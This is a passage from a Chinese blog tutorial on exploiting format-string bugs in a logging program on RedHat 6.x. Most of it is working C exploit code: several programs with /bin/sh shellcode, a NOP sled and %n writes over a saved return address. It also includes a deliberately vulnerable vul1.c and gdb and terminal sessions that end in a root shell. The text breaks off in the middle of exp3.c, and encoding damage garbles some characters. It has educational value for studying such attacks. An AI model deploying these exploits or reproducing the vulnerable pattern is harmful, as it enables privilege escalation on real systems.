• <ins id="pjuwb"></ins>
    <blockquote id="pjuwb"><pre id="pjuwb"></pre></blockquote>
    <noscript id="pjuwb"></noscript>
          <sup id="pjuwb"><pre id="pjuwb"></pre></sup>
            <dd id="pjuwb"></dd>
            <abbr id="pjuwb"></abbr>
            隨筆 - 62  文章 - 257  trackbacks - 0
            <2006年9月>
            272829303112
            3456789
            10111213141516
            17181920212223
            24252627282930
            1234567

            I Love Programming & Music.... CS Became CSed....

            常用鏈接

            留言簿(7)

            隨筆分類(64)

            隨筆檔案(62)

            文章分類(11)

            文章檔案(11)

            相冊(cè)

            BlOoD

            FriEnds

            搞起的人們

            搜索

            •  

            積分與排名

            • 積分 - 118647
            • 排名 - 215

            最新評(píng)論

            閱讀排行榜

            評(píng)論排行榜

            測(cè)試平臺(tái):RedHat 6.1, RedHat 6.2 (Intel i386)

            (繼續(xù))

            那么讓我們來寫一個(gè)簡(jiǎn)單的測(cè)試程序來看一下:

            <- begin ->? exp.c

            #include <stdlib.h>???????????????????????????????????????????
            #include <unistd.h>???????????????????????????????????????????
            ??????????????????????????????????????????????????????????????
            #define DEFAULT_OFFSET??????????????????? 0???????????????????
            #define DEFAULT_ALIGNMENT???????????????? 2???? // 我們使用兩個(gè)字節(jié)來進(jìn)行"對(duì)齊"
            #define DEFAULT_RETLOC?????????? 0xbffff6dc???? // 存放main()返回地址的地址??????????????
            #define DEFAULT_BUFFER_SIZE???????????? 512???????????????????
            #define DEFAULT_EGG_SIZE?????????????? 2048???????????????????
            #define NOP??????????????????????????? 0x90???????????????????
            ??????????????????????????????????????????????????????????????
            char shellcode[] =????????????????????????????????????????????
            ? "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
            ? "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
            ? "\x80\xe8\xdc\xff\xff\xff/bin/sh";

            ??????????????????????????????????????????????????????????????
            unsigned long get_esp(void) {?????????????????????????????????
            ?? __asm__("movl %esp,%eax");?????????????????????????????????
            }?????????????????????????????????????????????????????????????
            ??????????????????????????????????????????????????????????????
            main(int argc, char *argv[]) {???????????????????????????
            ? char *buff, *ptr, *egg;?????????????????????????????????????
            ? char *env[2];
            ? long shell_addr,retloc=DEFAULT_RETLOC;??????????????????????????????????????????????????
            ? int offset=DEFAULT_OFFSET, align=DEFAULT_ALIGNMENT;???????
            ? int bsize=DEFAULT_BUFFER_SIZE, eggsize=DEFAULT_EGG_SIZE;????????????????????????????
            ? int fmt_num=4, i;
            ??????????????????????????????????????????????????????????????
            ? if (argc > 1) sscanf(argv[1],"%x",&retloc); // 存放main()返回地址的地址??????????????????????????????????????????????????????????????????????????????????????
            ? if (argc > 2) offset? = atoi(argv[2]);??????????????????????
            ? if (argc > 3) align = atoi(argv[3]);??????????????????????
            ? if (argc > 4) bsize?? = atoi(argv[4]);??????????????????????
            ? if (argc > 5) eggsize = atoi(argv[5]);??????????????????????

            ?
            ??????????????????????????????????????????????????????????????
            ? printf("Usages: %s <RETloc> <offset> <align> <buffsize> <eggsize> \n",argv[0]);????????????????????????????????????????????????????????????
            ? if (!(buff = malloc(bsize))) {??????????????????????????????
            ??? printf("Can't allocate memory.\n");???????????????????????
            ??? exit(0);??????????????????????????????????????????????????
            ? }???????????????????????????????????????????????????????????

            ? if (!(egg = malloc(eggsize))) {?????????????????????????????
            ??? printf("Can't allocate memory.\n");???????????????????????
            ??? exit(0);??????????????????????????????????????????????????
            ? }???????????????????????????????????????????????????????????
            ?
            ? printf("Using Ret location address: 0x%x\n", retloc);???????????????????????????????????????????????????????????????????
            ? shell_addr = get_esp() + offset;??? //計(jì)算我們shellcode所處的地址??????????????????????????????
            ? printf("Using Shellcode address: 0x%x\n", shell_addr);
            ?
            ? ptr = buff;?????????????????????????????????????????????????
            ? memset(buff,'A',4);

            ? i = align;
            ? buff[i]?? =? retloc & 0x000000ff;?? // 將retloc放到buff里???????????????????
            ? buff[i+1] = (retloc & 0x0000ff00) >> 8;????????????????
            ? buff[i+2] = (retloc & 0x00ff0000) >> 16;???????????????
            ? buff[i+3] = (retloc & 0xff000000) >> 24;?????????????????
            ?
            ? ptr = buff + i + 4;
            ? for(i = 0 ; i < 4 ; i++ )? //存放%.10u%.10u%.10u%.10u
            ??? {
            ??????? memcpy(ptr, "%.10u", 5);
            ??????? ptr += 5;
            ??? }
            /* 存放"%.SHELL_ADDRu%n",為了使顯示總長(zhǎng)度等于shell_addr,
            ? * 我們減去4個(gè)%.10u的長(zhǎng)度:4*10,再減去"argv[1] = xxRETloc"的長(zhǎng)度:12+4
            ? * 將這個(gè)長(zhǎng)度作為第5個(gè)%u的寬度值???
            ? */?
            sprintf(ptr, "%%.%uu%%n", shell_addr - 4*10 - 16);

            ? ptr = egg;??????????????????????????????????????????????????
            ? for (i = 0; i < eggsize - strlen(shellcode) - 1; i++)???????
            ??? *(ptr++) = NOP;???????????????????????????????????????????
            ??????????????????????????????????????????????????????????????
            ? for (i = 0; i < strlen(shellcode); i++)?????????????????????
            ??? *(ptr++) = shellcode[i];??????????????????????????????????
            ??????????????????????????????????????????????????????????????
            ? buff[bsize - 1] = '\0';?????????????????????????????????????
            ? egg[eggsize - 1] = '\0';????????????????????????????????????
            ??????????????????????????????????????????????????????????????
            ? memcpy(egg, "EGG=", 4);???????????????????????????????????????
            ? env[0] = egg ;
            ? env[1] = (char *)0 ;

            ? execle("./vul","vul",buff,NULL,env);?????????
            }? /* end of main */??????

            <- end ->?

            注意:在我們的程序里,我們實(shí)際使用的模式是:

            AA|RETloc|%.10u%.10u%.10u%.10u%.(shell_addr-4*10-16)u|%n

            選用%.10u的原因是:如果用"%.nu"來顯示一個(gè)數(shù)值的時(shí)候,若數(shù)值長(zhǎng)度大于n,則仍然會(huì)
            顯示實(shí)際的長(zhǎng)度,而不會(huì)截?cái)酁閚。只有在數(shù)值長(zhǎng)度小于n時(shí),才會(huì)在數(shù)值前面補(bǔ)'0'使顯
            示長(zhǎng)度達(dá)到n.而一個(gè)四字節(jié)的無符號(hào)整數(shù),最大為0xffffffff = 4294967295,其長(zhǎng)度也
            就是10,因此,使用%.10u將保證顯示長(zhǎng)度的精確(肯定為10).現(xiàn)在唯一要確定的就是
            RETloc,也就是main()的返回地址了。這也很簡(jiǎn)單:

            [root@rh62 /root]# ./x 0x41414141
            Usages: ./x <RETloc> <offset> <align> <buffsize> <eggsize>
            Using Ret location address: 0x41414141
            Using Shellcode address: 0xbffffb08

            Segmentation fault (core dumped)
            [root@rh62 /root]# gdb ./vul core
            GNU gdb 19991004
            <....>
            #0? 0x400622b7 in _IO_vfprintf (s=0xbfffedc4,
            ??? format=0xbffff2d8 "argv[1] = AAAAAA%.10u%.10u%.10u%.10u%.3221224144u%n",
            ??? ap=0xbffff2e8) at vfprintf.c:1212
            1212??? vfprintf.c: No such file or directory.
            (gdb) bt?
            #0? 0x400622b7 in _IO_vfprintf (s=0xbfffedc4,
            ??? format=0xbffff2d8 "argv[1] = AAAAAA%.10u%.10u%.10u%.10u%.3221224144u%n",
            ??? ap=0xbffff2e8) at vfprintf.c:1212
            #1? 0x40070716 in _IO_vsnprintf (
            ??? string=0xbfffeec0 "argv[1] = AAAAAA00000000020000000001198649097705429783951094787133", maxlen=1023,
            ??? format=0xbffff2d8 "argv[1] = AAAAAA%.10u%.10u%.10u%.10u%.3221224144u%n",
            ??? args=0xbffff2d0) at vsnprintf.c:129
            #2? 0x80484de in log (level=1,
            ??? fmt=0xbffff2d8 "argv[1] = AAAAAA%.10u%.10u%.10u%.10u%.3221224144u%n")
            ??? at vul.c:13
            #3? 0x8048589 in main (argc=2, argv=0xbffff724) at vul.c:33
            (gdb) i f 3? -----> 查看main()的棧幀
            Stack frame at 0xbffff6d8:
            eip = 0x8048589 in main (vul.c:33); saved eip 0x400349cb
            caller of frame at 0xbffff2c0
            source language c.
            Arglist at 0xbffff6d8, args: argc=2, argv=0xbffff724
            Locals at 0xbffff6d8, Previous frame's sp is 0x0
            Saved registers:
            ? ebp at 0xbffff6d8, eip at 0xbffff6dc? ----> OK,存放eip的地址是0xbffff6dc
            (gdb)

            好的,既然現(xiàn)在我們已經(jīng)知道了RETloc的地址,就讓我們運(yùn)行一下我們的攻擊程序看看吧:
            [root@rh62 /root]# ./x 0xbffff6dc
            Usages: ./x <RETloc> <offset> <align> <buffsize> <eggsize>
            Using Ret location address: 0xbffff6dc
            Using Shellcode address: 0xbffffb08

            argv[1] = AA薈?.10u%.10u%.10u%.10u%.3221224144u%n
            Segmentation fault (core dumped)
            [root@rh62 /root]# gdb ./vul core
            <....>
            #0? 0x42 in ?? ()
            (gdb) bt
            #0? 0x42 in ?? ()
            (gdb) x/x 0xbffff6dc
            0xbffff6dc:???? 0x00000042
            (gdb)

            很可惜,并沒有看到令人激動(dòng)的#號(hào)提示符。看起來0xbffffb08的長(zhǎng)度不能被正確的打印出來,
            根據(jù)測(cè)試,至少大于0x90000000的長(zhǎng)度都不能正確顯示,具體原因還有待研究。感興趣的讀者
            可以自行分析一下。為了得到一個(gè)可以工作的版本,我們改動(dòng)一下vul.c和exp.c:

            <- begin ->? vul1.c

            #include <stdarg.h>
            #include <unistd.h>
            #include <syslog.h>

            #define BUFSIZE 1024

            char egg[BUFSIZE];

            int log(int level, char *fmt,...)
            {
            ?? char buf[BUFSIZE];
            ?? va_list ap;
            ?
            ?? va_start(ap, fmt);
            ?? vsnprintf(buf, sizeof(buf)-1, fmt, ap);
            ?? buf[BUFSIZE-1] = '\0';
            ?? syslog(level, "[hmm]: %s", buf);
            ?? va_end(ap);
            }


            int main(int argc, char **argv)
            {

            ? char buf[BUFSIZE];
            ? int i,num;
            ?
            ? if(getenv("EGG")) {
            ???? /* 我們將環(huán)境EGG的內(nèi)容復(fù)制到一個(gè)全局buffer里,
            ????? * 而這個(gè)buffer的起始地址是0x80xxxxx,它可以被正確顯示
            ????? */
            ???? strncpy(egg, getenv("EGG"), BUFSIZE-1);
            ???? egg[BUFSIZE-1] = '\0';
            ? }
            ? num = argc ;
            ? if(argc > 1) {
            ??? for ( i = 1 ; i < num ; i ++ ) {
            ??????????? snprintf(buf, BUFSIZE -1 , "argv[%d] = %.200s", i, argv[i]);
            ??????????? buf[BUFSIZE-1] = '\0';
            ??????????? log(LOG_ALERT, buf);? // 這里有問題
            ??????????? printf("argv[%d] = %s \n", i, argv[i]);
            ??? }
            ? }
            }

            <- end ->?

            <- begin ->? exp1.c

            #include <stdlib.h>???????????????????????????????????????????
            #include <unistd.h>???????????????????????????????????????????
            ??????????????????????????????????????????????????????????????
            #define DEFAULT_ALIGNMENT???????????????? 2???????????????????
            #define DEFAULT_RETLOC?????????? 0xbffffadc??????????????????
            #define DEFAULT_SHELLADDR??????? 0x8049800?? //我們的shellcode地址在Heap/BSS段????????????????
            #define DEFAULT_BUFFER_SIZE???????????? 512???????????????????
            #define DEFAULT_EGG_SIZE?????????????? 1024??????????????????
            #define NOP??????????????????????????? 0x90???????????????????
            ??????????????????????????????????????????????????????????????
            char shellcode[] =????????????????????????????????????????????
            ? "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
            ? "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
            ? "\x80\xe8\xdc\xff\xff\xff/bin/sh";

            ??????????????????????????????????????????????????????????????
            unsigned long get_esp(void) {?????????????????????????????????
            ?? __asm__("movl %esp,%eax");?????????????????????????????????
            }?????????????????????????????????????????????????????????????
            ??????????????????????????????????????????????????????????????
            main(int argc, char *argv[]) {???????????????????????????
            ? char *buff, *ptr, *egg;?????????????????????????????????????
            ? char *env[2];
            ? long retloc = DEFAULT_RETLOC;
            ? long shell_addr = DEFAULT_SHELLADDR;

            ? int align = DEFAULT_ALIGNMENT;???????
            ? int bsize = DEFAULT_BUFFER_SIZE, eggsize = DEFAULT_EGG_SIZE;????????????????????????????
            ? int i;
            ??????????????????????????????????????????????????????????????

            ? if (argc > 1) sscanf(argv[1],"%x",&retloc);
            ? if (argc > 2) sscanf(argv[2],"%x",&shell_addr);
            ? if (argc > 3) align = atoi(argv[3]);??????????????????????
            ? if (argc > 4) bsize?? = atoi(argv[4]);??????????????????????
            ? if (argc > 5) eggsize = atoi(argv[5]);??????????????????????

            ?
            ??????????????????????????????????????????????????????????????
            ? printf("Usages: %s <RETloc> <SHELL_addr> <align> <buffsize> <eggsize> \n",argv[0]);????????????????????????????????????????????????????????????
            ? if (!(buff = malloc(bsize))) {??????????????????????????????
            ??? printf("Can't allocate memory.\n");???????????????????????
            ??? exit(0);??????????????????????????????????????????????????
            ? }???????????????????????????????????????????????????????????

            ? if (!(egg = malloc(eggsize))) {?????????????????????????????
            ??? printf("Can't allocate memory.\n");???????????????????????
            ??? exit(0);??????????????????????????????????????????????????
            ? }???????????????????????????????????????????????????????????
            ??????????????????????????????????????????????????????????????
            ? printf("Using RET location address: %#x\n", retloc);
            ? printf("Using Shellcode address: %#x\n", shell_addr);??????????????????????
            ??????????????????????????????????????????????????????????????
            ? ptr = buff;?????????????????????????????????????????????????
            ? memset(buff,'A',4);

            ? i = align;
            ? buff[i]?? =? retloc & 0x000000ff;??????????????????????
            ? buff[i+1] = (retloc & 0x0000ff00) >> 8;????????????????
            ? buff[i+2] = (retloc & 0x00ff0000) >> 16;???????????????
            ? buff[i+3] = (retloc & 0xff000000) >> 24;?????????????????
            ?
            ? ptr = buff + i + 4;
            ? for(i = 0 ; i < 4 ; i++ )
            ??? {
            ??????? memcpy(ptr, "%.10u", 5);
            ??????? ptr += 5;
            ??? }
            ?
            sprintf(ptr, "%%.%uu%%n", shell_addr - 4*10 - 16);

            ? ptr = egg;??????????????????????????????????????????????????
            ? for (i = 0; i < eggsize - strlen(shellcode) - 1; i++)???????
            ??? *(ptr++) = NOP;???????????????????????????????????????????
            ??????????????????????????????????????????????????????????????
            ? for (i = 0; i < strlen(shellcode); i++)?????????????????????
            ??? *(ptr++) = shellcode[i];??????????????????????????????????
            ??????????????????????????????????????????????????????????????
            ? buff[bsize - 1] = '\0';?????????????????????????????????????
            ? egg[eggsize - 1] = '\0';????????????????????????????????????
            ??????????????????????????????????????????????????????????????
            ? memcpy(egg, "EGG=", 4);???????????????????????????????????????
            ? env[0] = egg ;
            ? env[1] = (char *)0 ;

            ? execle("./vul1","vul1",buff,NULL,env);?????????
            }? /* end of main */??????

            <- end ->?

            這里唯一改變的就是shellcode的地址指向了Heap/BSS區(qū),它通常在內(nèi)存區(qū)域的低端:
            0x8000000以后的地址,這個(gè)地址將可以被正確顯示,因此就可以正確的覆蓋main()的
            返回地址,并跳到那里去執(zhí)行我們的shellcode.這個(gè)地址的獲取,也可以通過gdb跟蹤
            得到,這里不再贅述。

            [root@rh62 /root]# ./exp1 0xbffffadc 0x8049800
            Usages: ./exp1 <RETloc> <SHELL_addr> <align> <buffsize> <eggsize>
            Using RET location address: 0xbffffadc
            Using Shellcode address: 0x8049800

            argv[1] = AA茭?.10u%.10u%.10u%.10u%.134518728u%n
            bash#
            很好,成功了!注意在得到#號(hào)提示符前,通常需要等待幾秒鐘,這是因?yàn)轱@示0x8049800
            個(gè)字符也是頗需要一段時(shí)間的.(當(dāng)然,結(jié)果并沒有顯示在標(biāo)準(zhǔn)輸出上) :-)

            <2> 攻擊方法二:多次覆蓋返回地址(1)
            ====================================

            上面的程序只能在RedHat 6.2這樣的系統(tǒng)上成功,在RedHat 6.1下它是不能成功的。原因
            前面已經(jīng)提到了。那么是不是在RedHat 6.1下就沒有辦法了呢?并不是這樣的,只要我們動(dòng)
            一下腦筋,就會(huì)發(fā)現(xiàn)由于這個(gè)問題程序自身的特點(diǎn)頤竊赗edHat 6.1下也可以成功的進(jìn)行
            攻擊。我們看到問題程序vul.c會(huì)顯示并記錄所有用戶輸入的參數(shù),而制約我們的攻擊程序的
            因素就是顯示的長(zhǎng)度,那么如果我們不顯示那么さ哪諶藎瑅snprintf()是可以正常工作的:
            AA|RETloc|%.10u%.10u%.10u%.10u%.(shell_addr-4*10-16)u|%n
            我們首先想到的時(shí)候如何減小shell_addr的值。如果我們將一個(gè)shell_addr分成四部分:
            shell_addr = (SH1 << 24) + (SH2 << 16) + (SH3 <<8) + SH4

            例如,假設(shè)在RETloc這個(gè)地址中保存有返回地址0x44332211,我們想將這個(gè)0x44332211換成
            存放shellcode的地址:0xbffffcec,那么我們所對(duì)應(yīng)的SH1,SH2,SH3,SH4就分別是:

            SH1 = 0xbf
            SH2 = 0xff
            SH3 = 0xfc
            SH4 = 0xec

            我們所要做的就是依次將這四個(gè)地址存入RETloc,RETloc+1,RETloc+2,RETloc+3中去,也就是:

            AA|RETloc? |%.10u%.10u%.10u%.10u%.(SH4-4*10-16)u|%n
            AA|RETloc+1|%.10u%.10u%.10u%.10u%.(SH3-4*10-16)u|%n
            AA|RETloc+2|%.10u%.10u%.10u%.10u%.(SH2-4*10-16)u|%n
            AA|RETloc+3|%.10u%.10u%.10u%.10u%.(SH1-4*10-16)u|%n

            注意:我們考慮的是Intel x86的系統(tǒng),因此,排列順序是反序的
            下圖可以讓你更清楚的看到每一次覆蓋后的變化:

            RETloc? RETloc+1 RETloc+2 RETloc+3
            |0x11?? | 0x22?? | 0x33?? |0x44|?????????????????? 原來存放的地址: 0x44332211
            |0xec?? | 0x00?? | 0x00?? |0x00|?????????????????? 第一次覆蓋SH4:? 0x000000ec
            |0xec?? | 0xfc?? | 0x00?? |0x00| 0x00|???????????? 第二次覆蓋SH3:? 0x0000fcec
            |0xec?? | 0xfc?? | 0xff?? |0x00| 0x00| 0x00|?????? 第三次覆蓋SH2:? 0x00fffcec
            |0xec?? | 0xfc?? | 0xff?? |0xbf| 0x00| 0x00| 0x00| 第四次覆蓋SH1:? 0xbffffcec

            需要特別注意的是:這樣四次覆蓋之后,將導(dǎo)致原來存放函數(shù)參數(shù)的地址內(nèi)容被清零,
            例如RETloc+4,RETloc+5,RETloc+6等處,如果該函數(shù)在覆蓋以后仍然需要訪問這幾個(gè)參
            數(shù),可能會(huì)導(dǎo)致函數(shù)不能正常退出,特別是一些極端依賴函數(shù)參數(shù)的情況下。

            另外一個(gè)問題是程序是否允許你連續(xù)四次進(jìn)行覆蓋,如果只能覆蓋一次,也不能達(dá)到我們
            的目的,不過我們看到我們的問題程序是會(huì)循環(huán)從main()的參數(shù)中讀取并調(diào)用log()子函數(shù)
            ,那么我們只要提供四個(gè)命令行參數(shù)就可以進(jìn)行四次覆蓋了。

            <- begin ->? exp2.c

            #include <stdlib.h>???????????????????????????????????????????
            #include <unistd.h>???????????????????????????????????????????
            ??????????????????????????????????????????????????????????????
            #define DEFAULT_OFFSET??????????????????? 500???????????????????
            #define DEFAULT_ALIGNMENT???????????????? 2???????????????????
            #define DEFAULT_RETLOC?????????? 0xbffffa6c???????????????????
            #define DEFAULT_BUFFER_SIZE???????????? 128???????????????????
            #define DEFAULT_EGG_SIZE?????????????? 1024???????????????????
            #define NOP??????????????????????????? 0x90???????????????????
            ??????????????????????????????????????????????????????????????
            char shellcode[] =????????????????????????????????????????????
            ? "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
            ? "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
            ? "\x80\xe8\xdc\xff\xff\xff/bin/sh";

            ??????????????????????????????????????????????????????????????
            unsigned long get_esp(void) {?????????????????????????????????
            ?? __asm__("movl %esp,%eax");?????????????????????????????????
            }?????????????????????????????????????????????????????????????
            ??????????????????????????????????????????????????????????????
            main(int argc, char *argv[]) {???????????????????????????
            ? char *buff[4], *ptr, *egg;?????????????????????????????????????
            ? char *env[2];
            ? long shell_addr,retloc=DEFAULT_RETLOC,tmpaddr;??????????????????????????????????????????????????
            ? int offset=DEFAULT_OFFSET, align=DEFAULT_ALIGNMENT;???????
            ? int bsize=DEFAULT_BUFFER_SIZE, eggsize=DEFAULT_EGG_SIZE;????????????????????????????
            ? int i,j;
            ??????????????????????????????????????????????????????????????
            ? if (argc > 1) sscanf(argv[1],"%x",&retloc); /* 輸入RETloc */
            ? if (argc > 2) offset? = atoi(argv[2]);??????????????????????
            ? if (argc > 3) align = atoi(argv[3]);??????????????????????
            ? if (argc > 4) bsize?? = atoi(argv[4]);??????????????????????
            ? if (argc > 5) eggsize = atoi(argv[5]);??????????????????????

            ?
            ??????????????????????????????????????????????????????????????
            ? printf("Usages: %s <RETloc> <offset> <align> <buffsize> <eggsize> \n",argv[0]);????????????????????????????????????????????????????????????
            ? for(i = 0 ; i < 4 ; i++ ) {
            ??? if (!(buff[i] = malloc(bsize))) {??????????????????????????????
            ?????? printf("Can't allocate memory.\n");???????????????????????
            ?????? exit(0);??????????????????????????????????????????????????
            ??? }
            ? }???????????????????????????????????????????????????????????

            ? if (!(egg = malloc(eggsize))) {?????????????????????????????
            ??? printf("Can't allocate memory.\n");???????????????????????
            ??? exit(0);??????????????????????????????????????????????????
            ? }???????????????????????????????????????????????????????????
            ??????????????????????????????????????????????????????????????
            ? printf("Using RET location address: 0x%x\n", retloc);
            ? shell_addr = get_esp() + offset;?????? /* 計(jì)算shellcocde所在的地址 */?????????????????????????????????????????????????
            ? printf("Using Shellcode address: 0x%x\n", shell_addr);
            ? for(j = 0; j < 4 ; j++) {????????????????????????????????????????????????????????????
            ???? ptr = buff[j];?????????????????????????????????????????????????
            ???? memset(ptr,'A',4);

            ???? ptr += align;
            ???? (*ptr++) =? retloc & 0x000000ff;??????? /* 填充retloc */??????????????
            ???? (*ptr++) = (retloc & 0x0000ff00) >> 8;????????????????
            ???? (*ptr++) = (retloc & 0x00ff0000) >> 16;???????????????
            ???? (*ptr++) = (retloc & 0xff000000) >> 24;?????????????????
            ?
            ???? retloc++; /* retloc地址后移一個(gè)字節(jié),以便進(jìn)行下一次覆蓋 */
            ???? for(i = 0 ; i < 4 ; i++ )
            ???? {
            ??????? memcpy(ptr, "%.10u", 5); /* 輸入格式串,調(diào)整%n所對(duì)應(yīng)的位置 */
            ??????? ptr += 5;
            ???? }
            ???? tmpaddr = (shell_addr >> j*8 ) & 0xff; /* 計(jì)算SHj */
            ???? if(tmpaddr > 56 )? /* 計(jì)算最后一個(gè)%nu中的n值 */
            ?????? sprintf(ptr, "%%.%uu%%n", tmpaddr - 56);
            ???? else
            ?????? sprintf(ptr, "%%.%uu%%n", 1);

            ?
            ? }
            ? ptr = egg;??????????????????????????????????????????????????
            ? for (i = 0; i < eggsize - strlen(shellcode) - 1; i++)???????
            ??? *(ptr++) = NOP;???????????????????????????????????????????
            ??????????????????????????????????????????????????????????????
            ? for (i = 0; i < strlen(shellcode); i++)?????????????????????
            ??? *(ptr++) = shellcode[i];??????????????????????????????????
            ??????????????????????????????????????????????????????????????
            ? egg[eggsize - 1] = '\0';????????????????????????????????????
            ??????????????????????????????????????????????????????????????
            ? memcpy(egg, "EGG=", 4);???????????????????????????????????????
            ? env[0] = egg ;
            ? env[1] = (char *)0 ;

            ? execle("./vul","vul",buff[0],buff[1],buff[2],buff[3],NULL,env);?????????
            }? /* end of main */??????

            <- end ->?


            [root@rh62 /root]# ./exp2
            Usages: ./exp2 <RETloc> <offset> <align> <buffsize> <eggsize>
            Using RET location address: 0xbffffa6c
            Using Shellcode address: 0xbffffcec

            argv[1] = AAl??.10u%.10u%.10u%.10u%.180u%n
            argv[2] = AAm??.10u%.10u%.10u%.10u%.196u%n
            argv[3] = AAn??.10u%.10u%.10u%.10u%.199u%n
            argv[4] = AAo??.10u%.10u%.10u%.10u%.135u%n
            bash#

            注意我們上面的exp2.c中在計(jì)算最后一個(gè)%.nu時(shí)存在一些問題,如果
            0 < (tmpaddr - 56) < 10 ,那么%.(tmpaddr-56)u 所顯示的長(zhǎng)度可能不等于(tmpaddr-56)
            ,同樣如果tmpaddr <= 56 ,那么我們的shellcode的地址就會(huì)有偏差,幸運(yùn)的是,由于我們
            的shellcode是存放在環(huán)境變量中,它通常在堆棧的高端,地址通常是0xbffff???,只有地址
            的最低一個(gè)字節(jié)才可能出現(xiàn)上面所講的兩種情況,而如果我們的shellcode前面填充了一些
            NOP指令的話,那么我們的shellcode地址就有一個(gè)范圍,只要落在這個(gè)范圍內(nèi),都可以執(zhí)行
            我們的shellcode,因此只要我們?cè)谶@一段地址內(nèi)選擇一個(gè)有效的地址就可以了。

            這個(gè)程序在RedHat 6.1和RedHat 6.2下都驗(yàn)證通過。

            <3> 攻擊方法三:多次覆蓋返回地址(2)
            ======================================

            有讀者可能會(huì)說,這個(gè)程序的成功依賴于我們可以連續(xù)進(jìn)行四次覆蓋。如果只給我們一次
            機(jī)會(huì),是不是就不行了呢?其實(shí),還有一種方法可以完成我們的任務(wù)。基本思路也是分四次
            來覆蓋,只不過通過一個(gè)*printf()就可以完成了,考慮下列這種情況:

            ? |AARET1|AAAARET2|AAAARET3|AAAARET4|%c...%c|%n1c%n|%n2c%n|%n3c%n|%n4c%n
            ???? ^??????? ^??????? ^??????? ^???????????????? |????? |????? |????? |
            ???? |??????? |??????? |??????? |_________________|______|______|______|?????????????????????????????????????
            ???? |??????? |??????? |__________________________|______|______|????????????????????????????????????????????????????
            ???? |??????? |___________________________________|______|?
            ???? |____________________________________________|

            我們使用四個(gè)%n,它們會(huì)依次將4個(gè)顯示長(zhǎng)度保存到對(duì)應(yīng)的地址去。我們?nèi)绻{(diào)整%c的個(gè)數(shù),
            使第一個(gè)%n對(duì)應(yīng)RET1,第二個(gè)%n對(duì)應(yīng)RET2,第三個(gè)%n對(duì)應(yīng)RET3,第四個(gè)%n對(duì)應(yīng)RET4,那么我
            們就成功了一半了。當(dāng)然我們要讓:
            RET1 = RETloc
            RET2 = RETloc + 1
            RET3 = RETloc + 2
            RET4 = RETloc + 3

            n1 = SH4 - 1*4 - 12 - 4 - 8*3
            (1*4是4個(gè)%c顯示的長(zhǎng)度,12是"AA"再加上前面的"argv[.."的長(zhǎng)度,4是RET1長(zhǎng)度,8*3是后
            面三組"AAAARET"的長(zhǎng)度)
            n2 = SH3 - SH4
            n3 = SH2 - SH3
            n4 = SH1 - SH2?

            這樣,在碰到第一個(gè)%n時(shí),顯示總長(zhǎng)度就是SH4,碰到第二個(gè)%n時(shí),顯示總長(zhǎng)度就是 SH3,依
            此類推。
            注意:由于SH1通常等于0xbf(如果是在堆棧中的話),而SH2通常等于0xff,SH1<SH2,
            因此我們給SH1加上一個(gè)大數(shù)0x0100,讓它變成0x01BF,這樣在進(jìn)行第四次覆蓋的時(shí)候:
            會(huì)將RETloc+4變成0x01,但這通常并不會(huì)造成大的影響,RETloc+3仍然被正確的改成了0xbf

            RETloc? RETloc+1 RETloc+2 RETloc+3???????????????????????????????
            |0xec?? | 0xfc?? | 0xff?? |0xbf| 0x01| 0x00| 0x00| 第四次覆蓋SH1:? 0xbffffcec???????????????????????????????

            因此,我們讓n4 = 0x0100 + SH1 - SH2

            另外我們的程序中沒有使用%.nu的格式而是采用了%nc, 這是因?yàn)?nc可以更加準(zhǔn)確的決定
            我們的顯示長(zhǎng)度,只要n>0,顯示長(zhǎng)度總是精確的等于n,這就為我們的計(jì)算帶來了很大的方
            便。(注意不能使用%.nc的格式,這不起作用) 不過%nc會(huì)使用空格來填充空白部分,如果
            應(yīng)用程序?qū)⒖崭褡鳛榉指舴麃斫忉寱r(shí),可能會(huì)出問題。

            <- begin ->? exp3.c

            #include <stdlib.h>???????????????????????????????????????????
            #include <unistd.h>???????????????????????????????????????????
            ??????????????????????????????????????????????????????????????
            #define DEFAULT_OFFSET??????????????????? 550???????????????????
            #define DEFAULT_ALIGNMENT???????????????? 2???????????????????
            #define DEFAULT_RETLOC?????????? 0xbffffabc???????????????????
            #define DEFAULT_BUFFER_SIZE???????????? 128???????????????????
            #define DEFAULT_EGG_SIZE?????????????? 1024???????????????????
            #define NOP??????????????????????????? 0x90???????????????????
            ??????????????????????????????????????????????????????????????
            char shellcode[] =????????????????????????????????????????????
            ? "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
            ? "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
            ? "\x80\xe8\xdc\xff\xff\xff/bin/sh";

            ??????????????????????????????????????????????????????????????
            unsigned long get_esp(void) {?????????????????????????????????
            ?? __asm__("movl %esp,%eax");?????????????????????????????????
            }?????????????????????????????????????????????????????????????
            ??????????????????????????????????????????????????????????????
            main(int argc, char *argv[]) {???????????????????????????
            ? char *buff, *ptr, *egg;?????????????????????????????????????
            ? char *env[2];
            ? long shell_addr,retloc=DEFAULT_RETLOC,tmpaddr;??????????????????????????????????????????????????
            ? int offset=DEFAULT_OFFSET, align=DEFAULT_ALIGNMENT;???????
            ? int bsize=DEFAULT_BUFFER_SIZE, eggsize=DEFAULT_EGG_SIZE;????????????????????????????
            ? int i,SH1,SH2,SH3,SH4,oldSH4;
            ??????????????????????????????????????????????????????????????
            ? if (argc > 1) sscanf(argv[1],"%x",&retloc); /* 輸入RETloc */
            ? if (argc > 2) offset? = atoi(argv[2]);??????????????????????
            ? if (argc > 3) align = atoi(argv[3]);??????????????????????
            ? if (argc > 4) bsize?? = atoi(argv[4]);??????????????????????
            ? if (argc > 5) eggsize = atoi(argv[5]);??????????????????????

            ?
            ??????????????????????????????????????????????????????????????
            ? printf("Usages: %s <RETloc> <offset> <align> <buffsize> <eggsize> \n",argv[0]);????????????????????????????????????????????????????????????
            ?
            ? if (!(buff = malloc(bsize))) {??????????????????????????????
